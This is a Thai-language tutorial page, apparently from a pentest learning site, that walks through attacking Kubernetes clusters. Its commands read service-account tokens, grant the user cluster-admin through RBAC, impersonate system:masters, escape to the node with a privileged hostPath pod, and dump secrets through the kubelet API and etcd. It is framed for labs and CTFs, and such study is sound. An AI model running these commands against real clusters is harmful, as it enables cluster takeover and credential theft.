คลัง
container

Kubernetes Attacks & Escape

Kubernetes Attacks ครอบคลุมการโจมตีใน cluster แบบครบวงจร: จาก pod ที่ยึดได้ → service account token → เรียก K8s API → RBAC abuse → escape ไป node → คุม cluster บทนี้ลงลึก: enumeration ใน pod, การใช้ SA token, RBAC privesc (create pod/secret/binding/impersonate), pod→node escape ด้วย hostPath/privileged, kubelet API (10250), etcd (2379), และ lab walkthrough + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#kubernetes#k8s#container#escape#rbac#serviceaccount#kubelet#etcd

1. หลักการ & สถาปัตยกรรม

Kubernetes orchestrate container เป็น pod รันบน node ควบคุมผ่าน API server (สมองกลาง) การ auth ใช้ service account (SA) token ที่ mount เข้า pod ทุกตัว สิทธิ์กำหนดด้วย RBAC (Role/ClusterRole + Binding) เป้าหมายผู้โจมตี: จาก pod → ยกสิทธิ์จน create pod บน node ได้ → escape สู่ node → จาก node คุม cluster

K8s attack flow
Pod ที่ยึดได้SA token →API serverRBAC abuse(create pod)get secrets/ lateralNoderoothostPath
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, k8s pentest) เท่านั้น

2. Enumeration ใน Pod

เมื่อได้ shell ใน pod — ตรวจว่าอยู่ใน container ไหม, มี SA token ไหม, mount อะไร, network เข้าถึงอะไร

Pod recon
# ยืนยันว่าอยู่ใน container
cat /proc/1/cgroup | grep -E 'docker|kube'
ls -la /.dockerenv 2>/dev/null

# SA token (มาเสมอถ้าไม่ปิด automount)
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# env (มัก leak service host/port + บางที secret)
env | grep -iE 'KUBE|SERVICE|SECRET|TOKEN'

# mount น่าสนใจ (host path?)
mount | grep -vE 'proc|sys|cgroup|tmpfs'
cat /proc/mounts | grep -vE 'proc|overlay|tmpfs'

# network: API server เข้าถึงได้ไหม
curl -k https://kubernetes.default.svc/version
# kubelet ของ node เดียวกัน?
curl -k https://$(hostname -i | cut -d. -f1-3).1:10250/pods 2>/dev/null
เครื่องมือ all-in-one: kdigger dig all หรือ peirates (interactive) สแกนทุกอย่างให้

3. ใช้ SA Token เรียก API

เช็คสิทธิ์ที่ทำได้
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API=https://kubernetes.default.svc

# ดาวน์โหลด kubectl ถ้าไม่มี
curl -LO https://dl.k8s.io/release/$(curl -sL https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl
chmod +x kubectl

# สิ่งสำคัญสุด: ทำอะไรได้บ้าง
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify auth can-i --list -n $NS

# ลอง list/get resource
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify get pods,secrets -n $NS

4. RBAC Abuse → Privesc

Permission (verb/resource)ผลกระทบ
create podรัน container ใดก็ได้ → mount host → escape
get/list secretsดึง credential ทั้ง namespace (รวม SA token อื่น)
create clusterrolebindingให้ cluster-admin แก่ตัวเอง
create rolebindingผูก role สิทธิ์สูงในnamespace
impersonate (users/groups)ปลอมเป็น principal สิทธิ์สูง
pods/execexec เข้า pod อื่น (รวม pod ที่ mount host)
pods/portforwardเข้าถึง service ภายใน
escalate (rbac)สร้าง role ที่สิทธิ์เกินตัวเอง
4a. create rolebinding → cluster-admin
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify \
  create clusterrolebinding pwn --clusterrole=cluster-admin \
  --serviceaccount=$NS:default
# ตอนนี้ default SA = cluster-admin → ทำได้ทุกอย่าง
4b. impersonate (ถ้ามีสิทธิ์)
# ปลอมเป็น cluster-admin group
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify \
  --as=system:admin --as-group=system:masters get secrets -A

5. Pod → Node Escape

ถ้าสร้าง pod ได้ → สร้าง pod ที่ mount host filesystem (hostPath: /) หรือ privileged + hostPID แล้ว chroot/nsenter เข้า node = root บน node

5a. Pod ที่ mount host (= node root)
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata: { name: escape }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","sleep 1d"]
    securityContext: { privileged: true }
    volumeMounts:
    - { name: host, mountPath: /host }
  volumes:
  - name: host
    hostPath: { path: / }
  nodeName: <target-node>   # เลือก node (ดูจาก kubectl get nodes)
---
# สร้างแล้ว exec เข้าไป chroot:
# kubectl apply -f escape-pod.yaml
# kubectl exec -it escape -- chroot /host bash
# = root บน node!
5b. nsenter เข้า host (ถ้า privileged + hostPID)
# จากใน privileged pod ที่ hostPID:true
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# เข้า namespace ของ PID 1 (init ของ host) = หลุดออก node

6. Kubelet API & etcd

นอกจาก API server ยังมี 2 จุดที่มัก misconfigure: kubelet (port 10250 บนทุก node) ถ้าเปิด anonymous = exec เข้า pod ได้, และ etcd (port 2379) = ฐานข้อมูล cluster ทั้งหมด (รวม secret)

Kubelet API (10250)
# list pods บน node
curl -sk https://NODE:10250/pods | jq '.items[].metadata.name'

# exec เข้า pod ผ่าน kubelet (ถ้า anonymous auth เปิด)
# ใช้ kubeletctl ง่ายกว่า
kubeletctl -i --server NODE pods
kubeletctl -i --server NODE exec "id" -p <pod> -c <container>

# หา SA token จากทุก pod บน node
kubeletctl -i --server NODE scan token
etcd (2379) — ดึง secret ทั้ง cluster
# ถ้าเข้าถึง etcd โดยไม่ต้อง cert (misconfig)
ETCDCTL_API=3 etcdctl --endpoints=https://NODE:2379 \
  get / --prefix --keys-only | grep secret
# อ่าน secret
ETCDCTL_API=3 etcdctl --endpoints=https://NODE:2379 get /registry/secrets/default/<name>

7. Lab Walkthrough

  1. 1ได้ shell ใน pod (เช่นผ่าน RCE บน web app ที่รันใน pod)
  2. 2recon: cat /proc/1/cgroup ยืนยัน k8s; ls /var/run/secrets/kubernetes.io/serviceaccount/ เจอ token
  3. 3เช็คสิทธิ์: kubectl --token=$TOKEN auth can-i --list → เจอ create pods + get secrets
  4. 4ดึง secret: kubectl get secrets -o yaml → เจอ DB password / SA token อื่น (base64 decode)
  5. 5escape: kubectl apply -f escape-pod.yaml (hostPath /) แล้ว kubectl exec -it escape -- chroot /host bash
  6. 6บน node: อ่าน /etc/kubernetes/admin.conf (ถ้าเป็น control-plane node) = cluster-admin kubeconfig → คุมทั้ง cluster

8. Troubleshooting

อาการสาเหตุ / แก้
ไม่มี SA token ใน podautomountServiceAccountToken: false — ลอง kubelet/network attack แทน
can-i --list = ได้ no หมดdefault SA สิทธิ์ต่ำ — หา secret/token ของ SA อื่น, ลอง kubelet
create pod ได้แต่ไม่ escapePodSecurityPolicy/PSA บล็อก privileged/hostPath — ลอง hostPath แบบ readonly หรือ exec เข้า pod อื่นที่ privileged
kubectl: x509 certificate errorใส่ --insecure-skip-tls-verify
API server เข้าไม่ถึงNetworkPolicy บล็อก — ลอง kubelet ของ node เดียวกัน (10250)
exec pod อื่นไม่ได้ขาด pods/exec — ลอง create pod ใหม่แทน

9. Indicators & Quick Reference

สัญญาณ: /var/run/secrets/kubernetes.io = อยู่ใน k8s, can-i ขึ้น create pod/secret/binding = privesc ได้, privileged pod / hostPath mount = escape, kubelet 10250 anonymous, etcd 2379 ไม่มี cert
  • เริ่ม: recon pod → SA token → can-i --list → RBAC path หรือ escape
  • kube-hunter (สแกนภายนอก), peirates/kdigger (จากใน pod)
  • secret base64: kubectl get secret X -o jsonpath='{.data.password}' | base64 -d
  • control-plane node: /etc/kubernetes/admin.conf = cluster-admin
  • flag ใน CTF k8s มักอยู่: secret, configmap, pod env, หรือบน node filesystem

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติว่าคุณเพิ่งได้ shell เข้าไปใน pod ของ k8s cluster (หรือแค่เจอ kubelet/API server เปิดจากภายนอกโดยไม่มี shell เลย) มีแค่เครื่องมือพื้นฐานใน Kali ทำตามขั้นตอนด้านล่างนี้ทีละข้อ แล้วดู decision tree ต่อว่าเจออะไรแล้วควรไปทางไหน

  1. 1เช็คว่าอยู่ใน k8s pod จริงไหม: ls /var/run/secrets/kubernetes.io/serviceaccount/ — ถ้าเจอโฟลเดอร์ที่มี token, ca.crt, namespace = อยู่ใน k8s pod แน่นอน
  2. 2อ่าน service account token: cat /var/run/secrets/kubernetes.io/serviceaccount/token แล้วเก็บไว้ในตัวแปร TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
  3. 3เช็ค namespace ตัวเอง: cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
  4. 4ดาวน์โหลด kubectl ถ้ายังไม่มี: curl -LO https://dl.k8s.io/release/$(curl -sL https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl && chmod +x kubectl
  5. 5เช็คว่า token นี้ทำอะไรได้บ้าง: ./kubectl --token=$TOKEN --server=https://kubernetes.default.svc --insecure-skip-tls-verify auth can-i --list — ดูรายการ verb/resource ที่อนุญาต
  6. 6ลอง list ของจริง: ./kubectl --token=$TOKEN ... get pods,secrets -A — ถ้าเจอ error Forbidden แปลว่าสิทธิ์ต่ำ ต้องหาทางอื่น
  7. 7สแกนจากภายนอก/ภายในด้วยเครื่องมืออัตโนมัติ: kube-hunter --remote <API_IP> หรือ --pod ถ้ารันจากใน pod เพื่อ list ช่องโหว่ทั้งหมด
  8. 8ใช้ peirates ทำทุกอย่างแบบ interactive: รัน peirates แล้วเลือกเมนู เช่น escalate, list secrets, หรือ generate escape pod ให้อัตโนมัติ
  9. 9เช็ค env ตัวเองหา service host/port เพิ่ม: env | grep -iE 'KUBE|SERVICE|SECRET|TOKEN'
  10. 10เช็คว่ามี hostPath mount ไหม: mount | grep -vE 'proc|sys|cgroup|tmpfs' — ถ้าเจอ mount ที่ชี้ไป path ของ host = อาจใช้เขียนไฟล์ฝั่ง node ได้เลยโดยไม่ต้อง create pod ใหม่
Decision Tree: มีแค่ Kali จะโจมตี cluster ยังไง
มี shell ใน pod หรือแค่เจอ endpoint เปิดจากภายนอก?
เช็ค /var/run/secrets/kubernetes.io/serviceaccount/ ก่อน
✅ มี shell ใน podcheck-token
✅ แค่เจอ kubelet (10250) หรือ API server เปิดจากภายนอก ไม่มี shellexternal
เช็ค service account token
ls /var/run/secrets/kubernetes.io/serviceaccount/
✅ เจอ token (automount เปิดอยู่)canI
❌ ไม่เจอ (automountServiceAccountToken: false)no-rbac
เช็คสิทธิ์ด้วย kubectl auth can-i --list
ดูว่า verb/resource อะไรอนุญาตบ้าง
✅ มี create podescape-pod
✅ มี create clusterrolebinding หรือ rolebindingผูก cluster-admin ให้ตัวเอง (kubectl create clusterrolebinding) แล้วทำอะไรก็ได้ทั้ง cluster
✅ มีแค่ get/list secretsดึง secret ทั้ง namespace หา credential ของ service account อื่นที่สิทธิ์สูงกว่า แล้ววนกลับมาเช็ค can-i ใหม่ด้วย token ใหม่
❌ แทบไม่มีสิทธิ์อะไรเลย (default SA อ่อนแอ)no-rbac
สร้าง pod พิเศษ (hostPath:/ + privileged) แล้ว exec chroot เข้า node
kubectl apply -f escape-pod.yaml แล้ว kubectl exec -it escape -- chroot /host bash
✅ สำเร็จ เป็น root บน node แล้วหา /etc/kubernetes/admin.conf (ถ้าเป็น control-plane) หรือ cloud metadata endpoint ของ node ต่อ
❌ PodSecurityPolicy/PSA บล็อก privileged หรือ hostPathno-rbac
หมดทางใน RBAC ตรงๆ — ลอง kubelet ของ node เดียวกัน
curl -sk https://<node-ip>:10250/pods
✅ kubelet เปิด anonymous authใช้ kubeletctl exec เข้า pod อื่นบน node เดียวกัน หรือ kubeletctl scan token ดึง SA token ของ pod อื่นที่สิทธิ์สูงกว่า
❌ kubelet ปิดหรือต้อง authdead-end
สแกนจากภายนอกด้วย kube-hunter
kube-hunter --remote <API หรือ kubelet IP>
✅ เจอ kubelet 10250 เปิดไม่มี authkubeletctl exec เข้า pod ใดก็ได้บน node นั้น แล้ววนกลับไปหา SA token ที่ mount อยู่ในนั้น
✅ เจอ etcd 2379 เข้าถึงได้โดยไม่มี certetcdctl get / --prefix --keys-only ดึง secret ทั้ง cluster ตรงๆ
❌ ไม่เจอช่องเปิดอะไรเลยdead-end
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
เช็ค SA token ใน podcat, ls-kubernetes.io/docs
เรียก K8s API ด้วย tokencurlkubectl (ดาวน์โหลดจาก dl.k8s.io)kubernetes.io/docs
scan cluster จากภายนอก/ภายใน-kube-hunter (pip install kube-hunter)hackingthe.cloud
exploit RBAC/escape แบบ interactive-peirates (Go binary จาก GitHub release)hackingthe.cloud
exec เข้า pod ผ่าน kubelet API โดยตรงcurlkubeletctl (Go binary)-
ดึง secret จาก etcd ตรงๆ-etcdctl (apt install etcd-client)-
หลังหลุดไป node แล้วหา privesc เพิ่มfind, lslinpeas.shgtfobins.github.io
ถ้า node มี docker/containerd ให้ escape ต่อdocker CLIdeepce.sh, amicontained-
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) docker-escape-deep — ถ้าหลุดไป node แล้วเจอ container runtime อื่นที่ privileged หรือ docker.sock mount อยู่บน node เดียวกัน; (2) aws-iam-privesc — ถ้า cluster เป็น EKS และ node/pod มี IAM role ผูกอยู่ (เช็คผ่าน metadata endpoint) หลัง escape ไป node; (3) ssrf — ถ้าใน pod เข้าถึง 169.254.169.254 (cloud metadata) ได้ตรงๆ ลองดึง credential ผ่านนั้นก่อนเสียเวลาสู้ RBAC; (4) aws-s3-attacks — ถ้าได้ credential จาก metadata หรือจาก secret แล้วพบว่ามีสิทธิ์เข้าถึง S3 bucket ต่อ

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้